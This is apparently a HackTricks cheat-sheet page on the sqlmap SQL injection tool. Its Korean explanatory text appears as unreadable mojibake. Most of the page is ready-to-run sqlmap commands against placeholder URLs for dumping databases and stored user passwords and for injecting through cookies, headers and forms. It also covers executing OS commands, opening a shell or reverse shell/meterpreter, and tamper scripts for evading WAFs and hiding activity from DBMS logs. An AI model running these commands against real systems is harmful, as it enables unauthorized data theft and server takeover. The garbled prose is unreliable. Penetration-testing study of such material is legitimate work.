SQLMap
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
SQLmap์ ๊ธฐ๋ณธ ์ธ์
์ผ๋ฐ์ ์ธ
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY
Technique flags (--technique)
--technique ์ธ์๋ sqlmap์ด ์๋ํ SQL ์ธ์ ์
๋ฐฉ๋ฒ์ ์ ์ํฉ๋๋ค. ๋ฌธ์์ด์ ๊ฐ ๋ฌธ์๋ ๊ธฐ์ ์ ๋ํ๋
๋๋ค:
| Letter | Technique | Description |
|---|---|---|
| B | Boolean-based blind | true/false ์กฐ๊ฑด์ ์ฌ์ฉํ์ฌ ๋ฐ์ดํฐ๋ฅผ ์ถ๋ก ํฉ๋๋ค |
| E | Error-based | ์์ธํ DBMS ์ค๋ฅ ๋ฉ์์ง๋ฅผ ํ์ฉํ์ฌ ๊ฒฐ๊ณผ๋ฅผ ์ ์ถํฉ๋๋ค |
| U | UNION query | ๋์ผํ ์ฑ๋์ ํตํด ๋ฐ์ดํฐ๋ฅผ ๊ฐ์ ธ์ค๊ธฐ ์ํด UNION SELECT ๋ฌธ์ ์ฃผ์
ํฉ๋๋ค |
| S | Stacked queries | ;๋ก ๊ตฌ๋ถ๋ ์ถ๊ฐ ๋ฌธ์ ์ถ๊ฐํฉ๋๋ค |
| T | Time-based blind | ์ธ์ ์
์ ๊ฐ์งํ๊ธฐ ์ํด ์ง์ฐ(SLEEP, WAITFOR)์ ์์กดํฉ๋๋ค |
| Q | Inline / out-of-band | LOAD_FILE()์ ๊ฐ์ ํจ์๋ DNS์ ๊ฐ์ OOB ์ฑ๋์ ์ฌ์ฉํฉ๋๋ค |
๊ธฐ๋ณธ ์์๋ BEUSTQ์
๋๋ค. ์ด๋ฅผ ์ฌ๋ฐฐ์ดํ๊ฑฐ๋ ์ ํํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, Boolean๊ณผ Time-based๋ง ๊ทธ ์์๋๋ก:
sqlmap -u "http://target/?id=1" --technique="BT" --batch
์ ๋ณด ๊ฒ์
๋ด๋ถ
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
DB ๋ฐ์ดํฐ
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
Injection place
From Burp/ZAP capture
์์ฒญ์ ์บก์ฒํ๊ณ req.txt ํ์ผ์ ์์ฑํฉ๋๋ค.
sqlmap -r req.txt --current-user
GET ์์ฒญ ์ฃผ์
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
POST ์์ฒญ ์ฃผ์
sqlmap -u "http://example.com" --data "username=*&password=*"
ํค๋ ๋ฐ ๊ธฐํ HTTP ๋ฉ์๋์์์ ์ธ์ ์
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
๋ ๋ฒ์งธ ์ฐจ์ ์ฃผ์
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
์ ธ
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
SQLmap์ผ๋ก ์น์ฌ์ดํธ ํฌ๋กค๋ง ๋ฐ ์๋ ์ต์คํ๋ก์
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
์ฃผ์ ์ฌ์ฉ์ ์ ์
์ ๋ฏธ์ฌ ์ค์
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
์ ๋์ฌ
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
boolean injection ์ฐพ๊ธฐ ๋์๋ง
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
๋ณ์กฐ
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
| Tamper | Description |
|---|---|
| apostrophemask.py | ์ํฌ์คํธ๋กํผ ๋ฌธ์๋ฅผ UTF-8 ์ ์ฒด ํญ ๋์ ๋ฌธ์๋ก ๋์ฒดํฉ๋๋ค. |
| apostrophenullencode.py | ์ํฌ์คํธ๋กํผ ๋ฌธ์๋ฅผ ๋ถ๋ฒ์ ์ธ ์ด์ค ์ ๋์ฝ๋ ๋์ ๋ฌธ์๋ก ๋์ฒดํฉ๋๋ค. |
| appendnullbyte.py | ํ์ด๋ก๋ ๋์ ์ธ์ฝ๋ฉ๋ NULL ๋ฐ์ดํธ ๋ฌธ์๋ฅผ ์ถ๊ฐํฉ๋๋ค. |
| base64encode.py | ์ฃผ์ด์ง ํ์ด๋ก๋์ ๋ชจ๋ ๋ฌธ์๋ฅผ Base64๋ก ์ธ์ฝ๋ฉํฉ๋๋ค. |
| between.py | โ>โ ์ฐ์ฐ์๋ฅผ โNOT BETWEEN 0 AND #โ๋ก ๋์ฒดํฉ๋๋ค. |
| bluecoat.py | SQL ๋ฌธ์ฅ ๋ค์ ๊ณต๋ฐฑ ๋ฌธ์๋ฅผ ์ ํจํ ๋ฌด์์ ๊ณต๋ฐฑ ๋ฌธ์๋ก ๋์ฒดํฉ๋๋ค. ์ดํ โ=โ ๋ฌธ์๋ฅผ LIKE ์ฐ์ฐ์๋ก ๋์ฒดํฉ๋๋ค. |
| chardoubleencode.py | ์ฃผ์ด์ง ํ์ด๋ก๋์ ๋ชจ๋ ๋ฌธ์๋ฅผ ์ด์ค URL ์ธ์ฝ๋ฉํฉ๋๋ค(์ด๋ฏธ ์ธ์ฝ๋ฉ๋ ๊ฒ์ ์ฒ๋ฆฌํ์ง ์์). |
| commalesslimit.py | โLIMIT M, Nโ๊ณผ ๊ฐ์ ์ธ์คํด์ค๋ฅผ โLIMIT N OFFSET Mโ์ผ๋ก ๋์ฒดํฉ๋๋ค. |
| commalessmid.py | โMID(A, B, C)โ์ ๊ฐ์ ์ธ์คํด์ค๋ฅผ โMID(A FROM B FOR C)โ๋ก ๋์ฒดํฉ๋๋ค. |
| concat2concatws.py | โCONCAT(A, B)โ์ ๊ฐ์ ์ธ์คํด์ค๋ฅผ โCONCAT_WS(MID(CHAR(0), 0, 0), A, B)โ๋ก ๋์ฒดํฉ๋๋ค. |
| charencode.py | ์ฃผ์ด์ง ํ์ด๋ก๋์ ๋ชจ๋ ๋ฌธ์๋ฅผ URL ์ธ์ฝ๋ฉํฉ๋๋ค(์ด๋ฏธ ์ธ์ฝ๋ฉ๋ ๊ฒ์ ์ฒ๋ฆฌํ์ง ์์). |
| charunicodeencode.py | ์ฃผ์ด์ง ํ์ด๋ก๋์ ๋น์ธ์ฝ๋ฉ ๋ฌธ์๋ฅผ ์ ๋์ฝ๋ URL ์ธ์ฝ๋ฉํฉ๋๋ค(์ด๋ฏธ ์ธ์ฝ๋ฉ๋ ๊ฒ์ ์ฒ๋ฆฌํ์ง ์์). โ%u0022โ |
| charunicodeescape.py | ์ฃผ์ด์ง ํ์ด๋ก๋์ ๋น์ธ์ฝ๋ฉ ๋ฌธ์๋ฅผ ์ ๋์ฝ๋ URL ์ธ์ฝ๋ฉํฉ๋๋ค(์ด๋ฏธ ์ธ์ฝ๋ฉ๋ ๊ฒ์ ์ฒ๋ฆฌํ์ง ์์). โ\u0022โ |
| equaltolike.py | โ=โ ์ฐ์ฐ์์ ๋ชจ๋ ๋ฐ์์ โLIKEโ ์ฐ์ฐ์๋ก ๋์ฒดํฉ๋๋ค. |
| escapequotes.py | ์ฌ๋์๋ก ์ํฌ์คํธ๋กํผ(โ)์ ํฐ๋ฐ์ดํ(โ)๋ฅผ ์ด์ค์ผ์ดํํฉ๋๋ค. |
| greatest.py | โ>โ ์ฐ์ฐ์๋ฅผ โGREATESTโ ๋์ ๋ฌธ์๋ก ๋์ฒดํฉ๋๋ค. |
| halfversionedmorekeywords.py | ๊ฐ ํค์๋ ์์ ๋ฒ์ ์ด ์๋ MySQL ์ฃผ์์ ์ถ๊ฐํฉ๋๋ค. |
| ifnull2ifisnull.py | โIFNULL(A, B)โ์ ๊ฐ์ ์ธ์คํด์ค๋ฅผ โIF(ISNULL(A), B, A)โ๋ก ๋์ฒดํฉ๋๋ค. |
| modsecurityversioned.py | ์ ์ฒด ์ฟผ๋ฆฌ๋ฅผ ๋ฒ์ ์ด ์๋ ์ฃผ์์ผ๋ก ๊ฐ์๋๋ค. |
| modsecurityzeroversioned.py | ์ ์ฒด ์ฟผ๋ฆฌ๋ฅผ ์ ๋ก ๋ฒ์ ์ฃผ์์ผ๋ก ๊ฐ์๋๋ค. |
| multiplespaces.py | SQL ํค์๋ ์ฃผ์์ ์ฌ๋ฌ ๊ฐ์ ๊ณต๋ฐฑ์ ์ถ๊ฐํฉ๋๋ค. |
| nonrecursivereplacement.py | ๋ฏธ๋ฆฌ ์ ์๋ SQL ํค์๋๋ฅผ ๋์ฒด์ ์ ํฉํ ํํ์ผ๋ก ๋์ฒดํฉ๋๋ค(์: .replace(โSELECTโ, โโ) ํํฐ). |
| percentage.py | ๊ฐ ๋ฌธ์ ์์ ๋ฐฑ๋ถ์จ ๊ธฐํธ(โ%โ)๋ฅผ ์ถ๊ฐํฉ๋๋ค. |
| overlongutf8.py | ์ฃผ์ด์ง ํ์ด๋ก๋์ ๋ชจ๋ ๋ฌธ์๋ฅผ ๋ณํํฉ๋๋ค(์ด๋ฏธ ์ธ์ฝ๋ฉ๋ ๊ฒ์ ์ฒ๋ฆฌํ์ง ์์). |
| randomcase.py | ๊ฐ ํค์๋ ๋ฌธ์๋ฅผ ๋ฌด์์ ๋์๋ฌธ์ ๊ฐ์ผ๋ก ๋์ฒดํฉ๋๋ค. |
| randomcomments.py | SQL ํค์๋์ ๋ฌด์์ ์ฃผ์์ ์ถ๊ฐํฉ๋๋ค. |
| securesphere.py | ํน๋ณํ ์ ์๋ ๋ฌธ์์ด์ ์ถ๊ฐํฉ๋๋ค. |
| sp_password.py | ํ์ด๋ก๋ ๋์ โsp_passwordโ๋ฅผ ์ถ๊ฐํ์ฌ DBMS ๋ก๊ทธ์์ ์๋์ผ๋ก ๋๋ ํํฉ๋๋ค. |
| space2comment.py | ๊ณต๋ฐฑ ๋ฌธ์(โ โ)๋ฅผ ์ฃผ์์ผ๋ก ๋์ฒดํฉ๋๋ค. |
| space2dash.py | ๊ณต๋ฐฑ ๋ฌธ์(โ โ)๋ฅผ ๋์ ์ฃผ์(โโโ)์ผ๋ก ๋์ฒดํ๊ณ ๋ฌด์์ ๋ฌธ์์ด๊ณผ ์ ์ค(โ\nโ)์ ์ถ๊ฐํฉ๋๋ค. |
| space2hash.py | ๊ณต๋ฐฑ ๋ฌธ์(โ โ)๋ฅผ ํ์ด๋ ๋ฌธ์(โ#โ)๋ก ๋์ฒดํ๊ณ ๋ฌด์์ ๋ฌธ์์ด๊ณผ ์ ์ค(โ\nโ)์ ์ถ๊ฐํฉ๋๋ค. |
| space2morehash.py | ๊ณต๋ฐฑ ๋ฌธ์(โ โ)๋ฅผ ํ์ด๋ ๋ฌธ์(โ#โ)๋ก ๋์ฒดํ๊ณ ๋ฌด์์ ๋ฌธ์์ด๊ณผ ์ ์ค(โ\nโ)์ ์ถ๊ฐํฉ๋๋ค. |
| space2mssqlblank.py | ๊ณต๋ฐฑ ๋ฌธ์(โ โ)๋ฅผ ์ ํจํ ๋์ฒด ๋ฌธ์ ์งํฉ์์ ๋ฌด์์ ๊ณต๋ฐฑ ๋ฌธ์๋ก ๋์ฒดํฉ๋๋ค. |
| space2mssqlhash.py | ๊ณต๋ฐฑ ๋ฌธ์(โ โ)๋ฅผ ํ์ด๋ ๋ฌธ์(โ#โ)๋ก ๋์ฒดํ๊ณ ์ ์ค(โ\nโ)์ ์ถ๊ฐํฉ๋๋ค. |
| space2mysqlblank.py | ๊ณต๋ฐฑ ๋ฌธ์(โ โ)๋ฅผ ์ ํจํ ๋์ฒด ๋ฌธ์ ์งํฉ์์ ๋ฌด์์ ๊ณต๋ฐฑ ๋ฌธ์๋ก ๋์ฒดํฉ๋๋ค. |
| space2mysqldash.py | ๊ณต๋ฐฑ ๋ฌธ์(โ โ)๋ฅผ ๋์ ์ฃผ์(โโโ)์ผ๋ก ๋์ฒดํ๊ณ ์ ์ค(โ\nโ)์ ์ถ๊ฐํฉ๋๋ค. |
| space2plus.py | ๊ณต๋ฐฑ ๋ฌธ์(โ โ)๋ฅผ ๋ํ๊ธฐ ๊ธฐํธ(โ+โ)๋ก ๋์ฒดํฉ๋๋ค. |
| space2randomblank.py | ๊ณต๋ฐฑ ๋ฌธ์(โ โ)๋ฅผ ์ ํจํ ๋์ฒด ๋ฌธ์ ์งํฉ์์ ๋ฌด์์ ๊ณต๋ฐฑ ๋ฌธ์๋ก ๋์ฒดํฉ๋๋ค. |
| symboliclogical.py | AND ๋ฐ OR ๋ ผ๋ฆฌ ์ฐ์ฐ์๋ฅผ ๊ทธ๋ค์ ๊ธฐํธ ๋์๋ฌผ๋ก ๋์ฒดํฉ๋๋ค(&& ๋ฐ |
| unionalltounion.py | UNION ALL SELECT๋ฅผ UNION SELECT๋ก ๋์ฒดํฉ๋๋ค. |
| unmagicquotes.py | ์ธ์ฉ ๋ฌธ์(โ)๋ฅผ ๋ค์ค ๋ฐ์ดํธ ์กฐํฉ %bf%27๋ก ๋์ฒดํ๊ณ ๋์ ์ผ๋ฐ ์ฃผ์์ ์ถ๊ฐํฉ๋๋ค(์๋ํ๊ฒ ํ๊ธฐ ์ํด). |
| uppercase.py | ๊ฐ ํค์๋ ๋ฌธ์๋ฅผ ๋๋ฌธ์ ๊ฐ โINSERTโ๋ก ๋์ฒดํฉ๋๋ค. |
| varnish.py | HTTP ํค๋ โX-originating-IPโ๋ฅผ ์ถ๊ฐํฉ๋๋ค. |
| versionedkeywords.py | ๊ฐ ๋นํจ์ ํค์๋๋ฅผ ๋ฒ์ ์ด ์๋ MySQL ์ฃผ์์ผ๋ก ๊ฐ์๋๋ค. |
| versionedmorekeywords.py | ๊ฐ ํค์๋๋ฅผ ๋ฒ์ ์ด ์๋ MySQL ์ฃผ์์ผ๋ก ๊ฐ์๋๋ค. |
| xforwardedfor.py | ๊ฐ์ง HTTP ํค๋ โX-Forwarded-Forโ๋ฅผ ์ถ๊ฐํฉ๋๋ค. |
References
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


